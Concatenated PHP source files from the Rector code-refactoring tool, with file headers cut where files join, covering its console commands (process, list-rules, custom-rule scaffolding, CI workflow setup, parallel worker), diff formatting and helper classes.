$oldToNewClasses; } /** * @return array */ public function getOldToNewClasses() : array { return $this->oldToNewClasses; } public function matchClassName(ObjectType $objectType) : ?ObjectType { $className = $objectType->getClassName(); if (!$this->hasOldClass($className)) { return null; } return new ObjectType($this->oldToNewClasses[$className]); } /** * @return string[] */ public function getOldClasses() : array { return \array_keys($this->oldToNewClasses); } } hasDowngradeSets()) { return \false; } return $this->containsVendorPath($filePaths); } private function hasDowngradeSets() : bool { $registeredRectorSets = SimpleParameterProvider::provideArrayParameter(\Rector\Configuration\Option::REGISTERED_RECTOR_SETS); foreach ($registeredRectorSets as $registeredRectorSet) { if (\strpos((string) $registeredRectorSet, 'downgrade-') !== \false) { return \true; } } return \false; } /** * @param string[] $filePaths */ private function containsVendorPath(array $filePaths) : bool { $cwdLength = \strlen(\getcwd()); foreach ($filePaths as $filePath) { $normalizedPath = PathNormalizer::normalize(\realpath($filePath)); if (\strncmp(\substr($normalizedPath, $cwdLength), '/vendor/', \strlen('/vendor/')) === 0) { return \true; } } return \false; } } =10\\.|10\\.)#'; public function __construct(SymfonyStyle $symfonyStyle) { $this->symfonyStyle = $symfonyStyle; parent::__construct(); } protected function configure() : void { $this->setName('custom-rule'); $this->setDescription('Create base of local custom rule with tests'); } protected function execute(InputInterface $input, OutputInterface $output) : int { // ask for rule name $rectorName = $this->symfonyStyle->ask('What is the name of the rule class (e.g. "LegacyCallToDbalMethodCall")?', null, static function (string $answer) : string { if ($answer === '') { throw new ShouldNotHappenException('Rector name cannot be empty'); } return $answer; }); // suffix with Rector by convention if (\substr_compare((string) $rectorName, 'Rector', -\strlen('Rector')) !== 0) { $rectorName .= 'Rector'; } $rectorName = \ucfirst((string) $rectorName); // find all files in templates directory $finder = Finder::create()->files()->in(__DIR__ . '/../../../templates/custom-rule')->notName('__Name__Test.php'); // 0. resolve if local phpunit is at least PHPUnit 10 (which supports #[DataProvider]) // to provide annotation if not $arePHPUnitAttributesSupported = $this->detectPHPUnitAttributeSupport(); if ($arePHPUnitAttributesSupported) { $finder->append([new SplFileInfo(__DIR__ . '/../../../templates/custom-rule/utils/rector/tests/Rector/__Name__/__Name__Test.php', 'utils/rector/tests/Rector/__Name__', 'utils/rector/tests/Rector/__Name__/__Name__Test.php')]); } else { // use @annotations for PHPUnit 9 and bellow $finder->append([new SplFileInfo(__DIR__ . '/../../../templates/custom-rules-annotations/utils/rector/tests/Rector/__Name__/__Name__Test.php', 'utils/rector/tests/Rector/__Name__', 'utils/rector/tests/Rector/__Name__/__Name__Test.php')]); } $currentDirectory = \getcwd(); $generatedFilePaths = []; $fileInfos = \iterator_to_array($finder->getIterator()); foreach ($fileInfos as $fileInfo) { // replace __Name__ with $rectorName $newContent = $this->replaceNameVariable($rectorName, $fileInfo->getContents()); $newFilePath = $this->replaceNameVariable($rectorName, $fileInfo->getRelativePathname()); FileSystem::write($currentDirectory . '/' . $newFilePath, $newContent, null); $generatedFilePaths[] = $newFilePath; } $this->symfonyStyle->title('Generated files'); $this->symfonyStyle->listing($generatedFilePaths); $this->symfonyStyle->success(\sprintf('Base for the "%s" rule was created. Now you can fill the missing parts', $rectorName)); // 2. update autoload-dev in composer.json $composerJsonFilePath = $currentDirectory . '/composer.json'; if (\file_exists($composerJsonFilePath)) { $hasChanged = \false; $composerJson = JsonFileSystem::readFilePath($composerJsonFilePath); if (!isset($composerJson['autoload-dev']['psr-4']['Utils\\Rector\\'])) { $composerJson['autoload-dev']['psr-4']['Utils\\Rector\\'] = 'utils/rector/src'; $composerJson['autoload-dev']['psr-4']['Utils\\Rector\\Tests\\'] = 'utils/rector/tests'; $hasChanged = \true; } if ($hasChanged) { $this->symfonyStyle->success('We also update composer.json autoload-dev, to load Rector rules. Now run "composer dump-autoload" to update paths'); JsonFileSystem::writeFile($composerJsonFilePath, $composerJson); } } // 3. update phpunit.xml(.dist) to include rector test suite $this->setupRectorTestSuite($currentDirectory); return Command::SUCCESS; } private function setupRectorTestSuite(string $currentDirectory) : void { if (!\extension_loaded('dom')) { $this->symfonyStyle->warning('The "dom" extension is not loaded. Rector could not add the rector test suite to phpunit.xml'); return; } $phpunitXmlExists = \file_exists($currentDirectory . '/phpunit.xml'); $phpunitXmlDistExists = \file_exists($currentDirectory . '/phpunit.xml.dist'); if (!$phpunitXmlExists && !$phpunitXmlDistExists) { $this->symfonyStyle->warning('No phpunit.xml or phpunit.xml.dist found. Rector could not add the rector test suite to it'); return; } $phpunitFile = $phpunitXmlExists ? 'phpunit.xml' : 'phpunit.xml.dist'; $phpunitFilePath = $currentDirectory . '/' . $phpunitFile; $domDocument = new DOMDocument('1.0'); $domDocument->preserveWhiteSpace = \false; $domDocument->formatOutput = \true; $domDocument->loadXML(FileSystem::read($phpunitFilePath)); if ($this->hasRectorTestSuite($domDocument)) { $this->symfonyStyle->success('The rector test suite already exists in ' . $phpunitFilePath . ". No changes were made.\n You can run the rector tests by running: phpunit --testsuite rector"); return; } $testsuitesElement = $domDocument->getElementsByTagName('testsuites')->item(0); if (!$testsuitesElement instanceof DOMElement) { $this->symfonyStyle->warning('No element found in ' . $phpunitFilePath . '. Rector could not add the rector test suite to it'); return; } $phpunitXML = $this->updatePHPUnitXMLFile($domDocument, $testsuitesElement); FileSystem::write($phpunitFilePath, $phpunitXML, null); $this->symfonyStyle->success('We also update ' . $phpunitFilePath . ", to add a rector test suite.\n You can run the rector tests by running: phpunit --testsuite rector"); } private function hasRectorTestSuite(DOMDocument $domDocument) : bool { foreach ($this->getTestSuiteElements($domDocument) as $testSuiteElement) { foreach ($testSuiteElement->getElementsByTagName('directory') as $directoryNode) { if (!$directoryNode instanceof DOMElement) { continue; } $name = $testSuiteElement->getAttribute('name'); if ($name !== 'rector') { continue; } $directory = $directoryNode->textContent; if ($directory === 'utils/rector/tests') { return \true; } } } return \false; } private function updatePHPUnitXMLFile(DOMDocument $domDocument, DOMElement $testsuitesElement) : string { $domElement = $domDocument->createElement('testsuite'); $domElement->setAttribute('name', 'rector'); $rectorTestSuiteDirectory = $domDocument->createElement('directory', 'utils/rector/tests'); $domElement->appendChild($rectorTestSuiteDirectory); $testsuitesElement->appendChild($domElement); $phpunitXML = $domDocument->saveXML(); if ($phpunitXML === \false) { throw new ShouldNotHappenException('Could not save XML'); } return $phpunitXML; } /** * @return Generator */ private function getTestSuiteElements(DOMDocument $domDocument) : Generator { $domxPath = new DOMXPath($domDocument); $testSuiteNodes = $domxPath->query('testsuites/testsuite'); if ($testSuiteNodes === \false) { return; } if ($testSuiteNodes->length === 0) { $testSuiteNodes = $domxPath->query('testsuite'); if ($testSuiteNodes === \false) { return; } } if ($testSuiteNodes->length === 1) { $element = $testSuiteNodes->item(0); if ($element instanceof DOMElement) { (yield $element); } return; } foreach ($testSuiteNodes as $testSuiteNode) { if (!$testSuiteNode instanceof DOMElement) { continue; } (yield $testSuiteNode); } } private function replaceNameVariable(string $rectorName, string $contents) : string { return \str_replace('__Name__', $rectorName, $contents); } private function detectPHPUnitAttributeSupport() : bool { $composerJsonFilePath = \getcwd() . '/composer.json'; if (!\file_exists($composerJsonFilePath)) { // be safe return \false; } $composerJson = JsonFileSystem::readFilePath($composerJsonFilePath); $phpunitVersion = $composerJson['require-dev']['phpunit/phpunit'] ?? null; if ($phpunitVersion === null) { return \false; } return (bool) Strings::match($phpunitVersion, self::START_WITH_10_REGEX); } } symfonyStyle = $symfonyStyle; $this->skippedClassResolver = $skippedClassResolver; $this->rectors = $rectors; parent::__construct(); } protected function configure() : void { $this->setName('list-rules'); $this->setDescription('Show loaded Rectors'); $this->setAliases(['show-rules']); $this->addOption(Option::OUTPUT_FORMAT, null, InputOption::VALUE_REQUIRED, 'Select output format', ConsoleOutputFormatter::NAME); } protected function execute(InputInterface $input, OutputInterface $output) : int { $rectorClasses = $this->resolveRectorClasses(); $skippedClasses = $this->getSkippedCheckers(); $outputFormat = $input->getOption(Option::OUTPUT_FORMAT); if ($outputFormat === 'json') { $data = ['rectors' => $rectorClasses, 'skipped-rectors' => $skippedClasses]; echo Json::encode($data, \true) . \PHP_EOL; return Command::SUCCESS; } $this->symfonyStyle->title('Loaded Rector rules'); $this->symfonyStyle->listing($rectorClasses); if ($skippedClasses !== []) { $this->symfonyStyle->title('Skipped Rector rules'); $this->symfonyStyle->listing($skippedClasses); } $this->symfonyStyle->newLine(); $this->symfonyStyle->note(\sprintf('Loaded %d rules', \count($rectorClasses))); return Command::SUCCESS; } /** * @return array> */ private function resolveRectorClasses() : array { $customRectors = \array_filter($this->rectors, static function (RectorInterface $rector) : bool { return !$rector instanceof PostRectorInterface; }); $rectorClasses = \array_map(static function (RectorInterface $rector) : string { return \get_class($rector); }, $customRectors); \sort($rectorClasses); return \array_unique($rectorClasses); } /** * @return string[] */ private function getSkippedCheckers() : array { $skippedCheckers = []; foreach ($this->skippedClassResolver->resolve() as $checkerClass => $fileList) { // ignore specific skips if ($fileList !== null) { continue; } $skippedCheckers[] = $checkerClass; } return $skippedCheckers; } } additionalAutoloader = $additionalAutoloader; $this->changedFilesDetector = $changedFilesDetector; $this->configInitializer = $configInitializer; $this->applicationFileProcessor = $applicationFileProcessor; $this->dynamicSourceLocatorDecorator = $dynamicSourceLocatorDecorator; $this->outputFormatterCollector = $outputFormatterCollector; $this->symfonyStyle = $symfonyStyle; $this->memoryLimiter = $memoryLimiter; $this->configurationFactory = $configurationFactory; $this->deprecatedRulesReporter = $deprecatedRulesReporter; $this->missConfigurationReporter = $missConfigurationReporter; parent::__construct(); } protected function configure() : void { $this->setName('process'); $this->setDescription('Upgrades or refactors source code with provided rectors'); $this->setHelp(<<<'EOF' The %command.name% command will run Rector main feature: %command.full_name% To specify a folder or a file, you can run: %command.full_name% src/Controller You can also dry run to see the changes that Rector will make with the --dry-run option: %command.full_name% src/Controller --dry-run It's also possible to get debug via the --debug option: %command.full_name% src/Controller --dry-run --debug EOF ); ProcessConfigureDecorator::decorate($this); parent::configure(); } protected function execute(InputInterface $input, OutputInterface $output) : int { // missing config? add it :) if (!$this->configInitializer->areSomeRectorsLoaded()) { $this->configInitializer->createConfig(\getcwd()); return self::SUCCESS; } $configuration = $this->configurationFactory->createFromInput($input); $this->memoryLimiter->adjust($configuration); // disable console output in case of json output formatter if ($configuration->getOutputFormat() === JsonOutputFormatter::NAME) { $this->symfonyStyle->setVerbosity(OutputInterface::VERBOSITY_QUIET); } $this->additionalAutoloader->autoloadInput($input); $this->additionalAutoloader->autoloadPaths(); $paths = $configuration->getPaths(); // 1. add files and directories to static locator $this->dynamicSourceLocatorDecorator->addPaths($paths); if ($this->dynamicSourceLocatorDecorator->isPathsEmpty()) { // read from rector.php, no paths definition needs withPaths() config if ($paths === []) { $this->symfonyStyle->error('No paths definition in rector configuration, define paths: https://getrector.com/documentation/define-paths'); return ExitCode::FAILURE; } // read from cli paths arguments, eg: vendor/bin/rector process A B C which A, B, and C not exists $isSingular = \count($paths) === 1; $this->symfonyStyle->error(\sprintf('The following given path%s do%s not match any file%s or director%s: %s%s', $isSingular ? '' : 's', $isSingular ? 'es' : '', $isSingular ? '' : 's', $isSingular ? 'y' : 'ies', \PHP_EOL . \PHP_EOL . ' - ', \implode(\PHP_EOL . ' - ', $paths))); return ExitCode::FAILURE; } // MAIN PHASE // 2. run Rector $processResult = $this->applicationFileProcessor->run($configuration, $input); // REPORTING PHASE // 3. reporting phaseRunning 2nd time with collectors data // report diffs and errors $outputFormat = $configuration->getOutputFormat(); $outputFormatter = $this->outputFormatterCollector->getByName($outputFormat); $outputFormatter->report($processResult, $configuration); $this->deprecatedRulesReporter->reportDeprecatedRules(); $this->deprecatedRulesReporter->reportDeprecatedSkippedRules(); $this->missConfigurationReporter->reportSkippedNeverRegisteredRules(); return $this->resolveReturnCode($processResult, $configuration); } protected function initialize(InputInterface $input, OutputInterface $output) : void { $application = $this->getApplication(); if (!$application instanceof Application) { throw new ShouldNotHappenException(); } $optionDebug = (bool) $input->getOption(Option::DEBUG); if ($optionDebug) { $application->setCatchExceptions(\false); } // clear cache $optionClearCache = (bool) $input->getOption(Option::CLEAR_CACHE); if ($optionDebug || $optionClearCache) { $this->changedFilesDetector->clear(); } } /** * @return ExitCode::* */ private function resolveReturnCode(ProcessResult $processResult, Configuration $configuration) : int { // some system errors were found → fail if ($processResult->getSystemErrors() !== []) { return ExitCode::FAILURE; } // inverse error code for CI dry-run if (!$configuration->isDryRun()) { return ExitCode::SUCCESS; } if ($processResult->getFileDiffs() !== []) { return ExitCode::CHANGED_CODE; } return ExitCode::SUCCESS; } } symfonyStyle = $symfonyStyle; parent::__construct(); } protected function configure() : void { $this->setName('setup-ci'); $this->setDescription('Add CI workflow to let Rector work for you'); } protected function execute(InputInterface $input, OutputInterface $output) : int { // detect current CI $ci = $this->resolveCurrentCI(); if ($ci === CiDetector::CI_GITLAB) { return $this->handleGitlabCi(); } if ($ci === CiDetector::CI_GITHUB_ACTIONS) { return $this->handleGithubActions(); } $noteMessage = sprintf('Only Github and GitLab are currently supported.%s Contribute your CI template to Rector to make this work: %s', \PHP_EOL, 'https://github.com/rectorphp/rector-src/'); $this->symfonyStyle->note($noteMessage); return self::SUCCESS; } /** * @return CiDetector::CI_*|null */ private function resolveCurrentCI() : ?string { if (\file_exists(\getcwd() . '/.github')) { return CiDetector::CI_GITHUB_ACTIONS; } if (\file_exists(\getcwd() . '/.gitlab-ci.yml')) { return CiDetector::CI_GITLAB; } return null; } private function addGithubActionsWorkflow(string $currentRepository, string $targetWorkflowFilePath) : void { $workflowTemplate = FileSystem::read(__DIR__ . '/../../../templates/rector-github-action-check.yaml'); $workflowContents = \strtr($workflowTemplate, ['__CURRENT_REPOSITORY__' => $currentRepository]); FileSystem::write($targetWorkflowFilePath, $workflowContents, null); $this->symfonyStyle->newLine(); $this->symfonyStyle->success('The ".github/workflows/rector.yaml" file was added'); $this->symfonyStyle->writeln('2 more steps to run Rector in CI:'); $this->symfonyStyle->newLine(); $this->symfonyStyle->writeln('1) Generate token with "repo" scope:' . \PHP_EOL . 'https://github.com/settings/tokens/new'); $this->symfonyStyle->newLine(); $repositoryNewSecretsLink = sprintf('https://github.com/%s/settings/secrets/actions/new', $currentRepository); $this->symfonyStyle->writeln('2) Add the token to Action secrets as "ACCESS_TOKEN":' . \PHP_EOL . $repositoryNewSecretsLink); } private function addGitlabFile(string $targetGitlabFilePath) : void { $gitlabTemplate = FileSystem::read(__DIR__ . '/../../../templates/rector-gitlab-check.yaml'); FileSystem::write($targetGitlabFilePath, $gitlabTemplate, null); $this->symfonyStyle->newLine(); $this->symfonyStyle->success('The "gitlab/rector.yaml" file was added'); $this->symfonyStyle->newLine(); $this->symfonyStyle->writeln('1) Register it in your ".gitlab-ci.yml" file:' . \PHP_EOL . 'include:' . \PHP_EOL . ' - local: gitlab/rector.yaml'); } /** * @return self::SUCCESS */ private function handleGitlabCi() : int { // add snippet in the end of file or include it? $ciRectorFilePath = \getcwd() . '/gitlab/rector.yaml'; if (\file_exists($ciRectorFilePath)) { $response = $this->symfonyStyle->ask('The "gitlab/rector.yaml" workflow already exists. Overwrite it?', 'Yes'); if (!\in_array($response, ['y', 'yes', 'Yes'], \true)) { $this->symfonyStyle->note('Nothing changed'); return self::SUCCESS; } } $this->addGitlabFile($ciRectorFilePath); return self::SUCCESS; } /** * @return self::SUCCESS|self::FAILURE */ private function handleGithubActions() : int { $rectorWorkflowFilePath = \getcwd() . '/.github/workflows/rector.yaml'; if (\file_exists($rectorWorkflowFilePath)) { $response = $this->symfonyStyle->ask('The "rector.yaml" workflow already exists. Overwrite it?', 'Yes'); if (!\in_array($response, ['y', 'yes', 'Yes'], \true)) { $this->symfonyStyle->note('Nothing changed'); return self::SUCCESS; } } $currentRepository = RepositoryHelper::resolveGithubRepositoryName(\getcwd()); if ($currentRepository === null) { $this->symfonyStyle->error('Current repository name could not be resolved'); return self::FAILURE; } $this->addGithubActionsWorkflow($currentRepository, $rectorWorkflowFilePath); return self::SUCCESS; } } dynamicSourceLocatorDecorator = $dynamicSourceLocatorDecorator; $this->applicationFileProcessor = $applicationFileProcessor; $this->memoryLimiter = $memoryLimiter; $this->configurationFactory = $configurationFactory; parent::__construct(); } protected function configure() : void { $this->setName('worker'); $this->setDescription('[INTERNAL] Support for parallel process'); ProcessConfigureDecorator::decorate($this); parent::configure(); } protected function execute(InputInterface $input, OutputInterface $output) : int { $configuration = $this->configurationFactory->createFromInput($input); $this->memoryLimiter->adjust($configuration); $streamSelectLoop = new StreamSelectLoop(); $parallelIdentifier = $configuration->getParallelIdentifier(); $tcpConnector = new TcpConnector($streamSelectLoop); $promise = $tcpConnector->connect('127.0.0.1:' . $configuration->getParallelPort()); $promise->then(function (ConnectionInterface $connection) use($parallelIdentifier, $configuration, $output) : void { $inDecoder = new Decoder($connection, \true, 512, \JSON_INVALID_UTF8_IGNORE); $outEncoder = new Encoder($connection, \JSON_INVALID_UTF8_IGNORE); $outEncoder->write([ReactCommand::ACTION => Action::HELLO, ReactCommand::IDENTIFIER => $parallelIdentifier]); $this->runWorker($outEncoder, $inDecoder, $configuration, $output); }); $streamSelectLoop->run(); return self::SUCCESS; } private function runWorker(Encoder $encoder, Decoder $decoder, Configuration $configuration, OutputInterface $output) : void { $this->dynamicSourceLocatorDecorator->addPaths($configuration->getPaths()); if ($configuration->isDebug()) { $preFileCallback = static function (string $filePath) use($output) : void { $output->writeln($filePath); }; } else { $preFileCallback = null; } // 1. handle system error $handleErrorCallback = static function (Throwable $throwable) use($encoder) : void { $systemError = new SystemError($throwable->getMessage(), $throwable->getFile(), $throwable->getLine()); $encoder->write([ReactCommand::ACTION => Action::RESULT, self::RESULT => [Bridge::SYSTEM_ERRORS => [$systemError], Bridge::FILES_COUNT => 0, Bridge::SYSTEM_ERRORS_COUNT => 1]]); $encoder->end(); }; $encoder->on(ReactEvent::ERROR, $handleErrorCallback); // 2. collect diffs + errors from file processor $decoder->on(ReactEvent::DATA, function (array $json) use($preFileCallback, $encoder, $configuration) : void { $action = $json[ReactCommand::ACTION]; if ($action !== Action::MAIN) { return; } /** @var string[] $filePaths */ $filePaths = $json[Bridge::FILES] ?? []; Assert::notEmpty($filePaths); $processResult = $this->applicationFileProcessor->processFiles($filePaths, $configuration, $preFileCallback); /** * this invokes all listeners listening $decoder->on(...) @see \Symplify\EasyParallel\Enum\ReactEvent::DATA */ $encoder->write([ReactCommand::ACTION => Action::RESULT, self::RESULT => [Bridge::FILE_DIFFS => $processResult->getFileDiffs(), Bridge::FILES_COUNT => \count($filePaths), Bridge::SYSTEM_ERRORS => $processResult->getSystemErrors(), Bridge::SYSTEM_ERRORS_COUNT => \count($processResult->getSystemErrors())]]); }); $decoder->on(ReactEvent::ERROR, $handleErrorCallback); } } addCommands($commands); // run this command, if no command name is provided $this->setDefaultCommand('process'); } public function doRun(InputInterface $input, OutputInterface $output) : int { $isXdebugAllowed = $input->hasParameterOption('--xdebug'); if (!$isXdebugAllowed) { $xdebugHandler = new XdebugHandler('rector'); $xdebugHandler->setPersistent(); $xdebugHandler->check(); unset($xdebugHandler); } $shouldFollowByNewline = \false; // skip in this case, since generate content must be clear from meta-info if ($this->shouldPrintMetaInformation($input)) { $output->writeln($this->getLongVersion()); $shouldFollowByNewline = \true; } if ($shouldFollowByNewline) { $output->write(\PHP_EOL); } return parent::doRun($input, $output); } protected function getDefaultInputDefinition() : InputDefinition { $defaultInputDefinition = parent::getDefaultInputDefinition(); $this->removeUnusedOptions($defaultInputDefinition); $this->addCustomOptions($defaultInputDefinition); return $defaultInputDefinition; } private function shouldPrintMetaInformation(InputInterface $input) : bool { $hasNoArguments = $input->getFirstArgument() === null; if ($hasNoArguments) { return \false; } $hasVersionOption = $input->hasParameterOption('--version'); if ($hasVersionOption) { return \false; } $outputFormat = $input->getParameterOption(['-o', '--output-format']); return $outputFormat === ConsoleOutputFormatter::NAME; } private function removeUnusedOptions(InputDefinition $inputDefinition) : void { $options = $inputDefinition->getOptions(); unset($options['quiet'], $options['no-interaction']); $inputDefinition->setOptions($options); } private function addCustomOptions(InputDefinition $inputDefinition) : void { $inputDefinition->addOption(new InputOption(Option::CONFIG, 'c', InputOption::VALUE_REQUIRED, 'Path to config file', $this->getDefaultConfigPath())); $inputDefinition->addOption(new InputOption(Option::DEBUG, null, InputOption::VALUE_NONE, 'Enable debug verbosity (-vvv)')); $inputDefinition->addOption(new InputOption(Option::XDEBUG, null, InputOption::VALUE_NONE, 'Allow running xdebug')); $inputDefinition->addOption(new InputOption(Option::CLEAR_CACHE, null, InputOption::VALUE_NONE, 'Clear cache')); } private function getDefaultConfigPath() : string { return \getcwd() . '/rector.php'; } } * * @see \Rector\Tests\Console\Formatter\ColorConsoleDiffFormatterTest */ final class ColorConsoleDiffFormatter { /** * @var string * @see https://regex101.com/r/ovLMDF/1 */ private const PLUS_START_REGEX = '#^(\\+.*)#'; /** * @var string * @see https://regex101.com/r/xwywpa/1 */ private const MINUT_START_REGEX = '#^(\\-.*)#'; /** * @var string * @see https://regex101.com/r/CMlwa8/1 */ private const AT_START_REGEX = '#^(@.*)#'; /** * @readonly * @var string */ private $template; public function __construct() { $this->template = \sprintf(' ---------- begin diff ----------%s%%s%s ----------- end diff -----------' . \PHP_EOL, \PHP_EOL, \PHP_EOL); } public function format(string $diff) : string { return $this->formatWithTemplate($diff, $this->template); } private function formatWithTemplate(string $diff, string $template) : string { $escapedDiff = OutputFormatter::escape(\rtrim($diff)); $escapedDiffLines = NewLineSplitter::split($escapedDiff); // remove description of added + remove; obvious on diffs foreach ($escapedDiffLines as $key => $escapedDiffLine) { if ($escapedDiffLine === '--- Original') { unset($escapedDiffLines[$key]); } if ($escapedDiffLine === '+++ New') { unset($escapedDiffLines[$key]); } } $coloredLines = \array_map(function (string $string) : string { $string = $this->makePlusLinesGreen($string); $string = $this->makeMinusLinesRed($string); $string = $this->makeAtNoteCyan($string); if ($string === ' ') { return ''; } return $string; }, $escapedDiffLines); return \sprintf($template, \implode(\PHP_EOL, $coloredLines)); } private function makePlusLinesGreen(string $string) : string { return Strings::replace($string, self::PLUS_START_REGEX, '$1'); } private function makeMinusLinesRed(string $string) : string { return Strings::replace($string, self::MINUT_START_REGEX, '$1'); } private function makeAtNoteCyan(string $string) : string { return Strings::replace($string, self::AT_START_REGEX, '$1'); } } colorConsoleDiffFormatter = $colorConsoleDiffFormatter; // @see https://github.com/sebastianbergmann/diff#strictunifieddiffoutputbuilder // @see https://github.com/sebastianbergmann/diff/compare/4.0.4...5.0.0#diff-251edf56a6344c03fa264a4926b06c2cee43c25f66192d5f39ebee912b7442dc for upgrade $unifiedDiffOutputBuilder = new UnifiedDiffOutputBuilder(); $this->differ = new Differ($unifiedDiffOutputBuilder); } public function diff(string $old, string $new) : string { $diff = $this->differ->diff($old, $new); return $this->colorConsoleDiffFormatter->format($diff); } } = 80000) { return; } $message = \sprintf('The "%s()" method uses named arguments. Its suitable for PHP 8.0+. In lower PHP versions, use "withSets([...])" method instead', $calledMethod); $symfonyStyle = new SymfonyStyle(new ArgvInput(), new ConsoleOutput()); $symfonyStyle->warning($message); \sleep(3); } public static function notifyWithPhpSetsNotSuitableForPHP80() : void { if (\PHP_VERSION_ID >= 80000) { return; } $message = 'The "withPhpSets()" method uses named arguments. Its suitable for PHP 8.0+. Use more explicit "withPhp53Sets()" ... "withPhp74Sets()" in lower PHP versions instead.'; $symfonyStyle = new SymfonyStyle(new ArgvInput(), new ConsoleOutput()); $symfonyStyle->warning($message); \sleep(3); } } */ private $outputFormatters = []; /** * @param OutputFormatterInterface[] $outputFormatters */ public function __construct(iterable $outputFormatters) { foreach ($outputFormatters as $outputFormatter) { $this->outputFormatters[$outputFormatter->getName()] = $outputFormatter; } } public function getByName(string $name) : OutputFormatterInterface { $this->ensureOutputFormatExists($name); return $this->outputFormatters[$name]; } private function ensureOutputFormatExists(string $name) : void { if (isset($this->outputFormatters[$name])) { return; } $outputFormatterNames = \array_keys($this->outputFormatters); throw new InvalidConfigurationException(\sprintf('Output formatter "%s" was not found. Pick one of "%s".', $name, \implode('", "', $outputFormatterNames))); } } addArgument(Option::SOURCE, InputArgument::OPTIONAL | InputArgument::IS_ARRAY, 'Files or directories to be upgraded.'); $command->addOption(Option::DRY_RUN, Option::DRY_RUN_SHORT, InputOption::VALUE_NONE, 'Only see the diff of changes, do not save them to files.'); $command->addOption(Option::AUTOLOAD_FILE, Option::AUTOLOAD_FILE_SHORT, InputOption::VALUE_REQUIRED, 'Path to file with extra autoload (will be included)'); $command->addOption(Option::NO_PROGRESS_BAR, null, InputOption::VALUE_NONE, 'Hide progress bar. Useful e.g. for nicer CI output.'); $command->addOption(Option::NO_DIFFS, null, InputOption::VALUE_NONE, 'Hide diffs of changed files. Useful e.g. for nicer CI output.'); $command->addOption(Option::OUTPUT_FORMAT, null, InputOption::VALUE_REQUIRED, 'Select output format', ConsoleOutputFormatter::NAME); $command->addOption(Option::DEBUG, null, InputOption::VALUE_NONE, 'Display debug output.'); $command->addOption(Option::MEMORY_LIMIT, null, InputOption::VALUE_REQUIRED, 'Memory limit for process'); $command->addOption(Option::CLEAR_CACHE, null, InputOption::VALUE_NONE, 'Clear unchanged files cache'); $command->addOption(Option::PARALLEL_PORT, null, InputOption::VALUE_REQUIRED); $command->addOption(Option::PARALLEL_IDENTIFIER, null, InputOption::VALUE_REQUIRED); $command->addOption(Option::XDEBUG, null, InputOption::VALUE_NONE, 'Display xdebug output.'); } } setVerbosity(OutputInterface::VERBOSITY_QUIET); } } /** * @see https://github.com/phpstan/phpstan-src/commit/0993d180e5a15a17631d525909356081be59ffeb */ public function createProgressBar(int $max = 0) : ProgressBar { $progressBar = parent::createProgressBar($max); $progressBar->setOverwrite(!$this->isCiDetected()); $isCiDetected = $this->isCiDetected(); $progressBar->setOverwrite(!$isCiDetected); if ($isCiDetected) { $progressBar->minSecondsBetweenRedraws(15); $progressBar->maxSecondsBetweenRedraws(30); } elseif (\DIRECTORY_SEPARATOR === '\\') { // windows $progressBar->minSecondsBetweenRedraws(0.5); $progressBar->maxSecondsBetweenRedraws(2); } else { // *nix $progressBar->minSecondsBetweenRedraws(0.1); $progressBar->maxSecondsBetweenRedraws(0.5); } $this->progressBar = $progressBar; return $progressBar; } public function progressAdvance(int $step = 1) : void { // hide progress bar in tests if (\defined('PHPUNIT_COMPOSER_INSTALL')) { return; } $progressBar = $this->getProgressBar(); $progressBar->advance($step); } private function isCiDetected() : bool { if ($this->isCiDetected === null) { $ciDetector = new CiDetector(); $this->isCiDetected = $ciDetector->isCiDetected(); } return $this->isCiDetected; } private function getProgressBar() : ProgressBar { if (!isset($this->progressBar)) { throw new RuntimeException('The ProgressBar is not started.'); } return $this->progressBar; } } privatesAccessor = $privatesAccessor; } /** * @api */ public function create() : \Rector\Console\Style\RectorStyle { // to prevent missing argv indexes if (!isset($_SERVER['argv'])) { $_SERVER['argv'] = []; } $argvInput = new ArgvInput(); $consoleOutput = new ConsoleOutput(); // to configure all -v, -vv, -vvv options without memory-lock to Application run() arguments $this->privatesAccessor->callPrivateMethod(new Application(), 'configureIO', [$argvInput, $consoleOutput]); // --debug is called if ($argvInput->hasParameterOption('--debug')) { $consoleOutput->setVerbosity(OutputInterface::VERBOSITY_DEBUG); } // disable output for tests if ($this->isPHPUnitRun()) { $consoleOutput->setVerbosity(OutputInterface::VERBOSITY_QUIET); } return new \Rector\Console\Style\RectorStyle($argvInput, $consoleOutput); } /** * Never ever used static methods if not neccesary, this is just handy for tests + src to prevent duplication. */ private function isPHPUnitRun() : bool { return \defined('PHPUNIT_COMPOSER_INSTALL') || \defined('__PHPUNIT_PHAR__'); } } > */ public function getNodeTypes() : array; /** * Process Node of matched type * @return Node|Node[]|null|NodeTraverser::* */ public function refactor(Node $node); } $value) { $result .= "\n " . $key . ': '; if ($value === null) { $result .= 'null'; } elseif ($value === \false) { $result .= 'false'; } elseif ($value === \true) { $result .= 'true'; } elseif (\is_string($value)) { $result .= '"' . $value . '"'; } elseif (\is_scalar($value)) { $result .= $value; } else { $result .= \str_replace("\n", "\n ", self::dump($value, \false)); } } if (\count($node) === 0) { $result .= ']'; } else { $result .= "\n]"; } return $result; } /** * @param mixed[] $items */ private static function isStringList(array $items) : bool { foreach ($items as $item) { if (!\is_string($item)) { return \false; } } return \true; } /** * @param mixed $flags */ private static function dumpFlags($flags) : string { $strs = []; if (($flags & Class_::MODIFIER_PUBLIC) !== 0) { $strs[] = 'MODIFIER_PUBLIC'; } if (($flags & Class_::MODIFIER_PROTECTED) !== 0) { $strs[] = 'MODIFIER_PROTECTED'; } if (($flags & Class_::MODIFIER_PRIVATE) !== 0) { $strs[] = 'MODIFIER_PRIVATE'; } if (($flags & Class_::MODIFIER_ABSTRACT) !== 0) { $strs[] = 'MODIFIER_ABSTRACT'; } if (($flags & Class_::MODIFIER_STATIC) !== 0) { $strs[] = 'MODIFIER_STATIC'; } if (($flags & Class_::MODIFIER_FINAL) !== 0) { $strs[] = 'MODIFIER_FINAL'; } if (($flags & Class_::MODIFIER_READONLY) !== 0) { $strs[] = 'MODIFIER_READONLY'; } if ($strs !== []) { return \implode(' | ', $strs) . ' (' . $flags . ')'; } return (string) $flags; } /** * @param int|float|string $type */ private static function dumpIncludeType($type) : string { $map = [Include_::TYPE_INCLUDE => 'TYPE_INCLUDE', Include_::TYPE_INCLUDE_ONCE => 'TYPE_INCLUDE_ONCE', Include_::TYPE_REQUIRE => 'TYPE_REQUIRE', Include_::TYPE_REQUIRE_ONCE => 'TYPE_REQUIRE_ONCE']; if (!isset($map[$type])) { return (string) $type; } return $map[$type] . ' (' . $type . ')'; } /** * @param mixed $type */ private static function dumpUseType($type) : string { $map = [Use_::TYPE_UNKNOWN => 'TYPE_UNKNOWN', Use_::TYPE_NORMAL 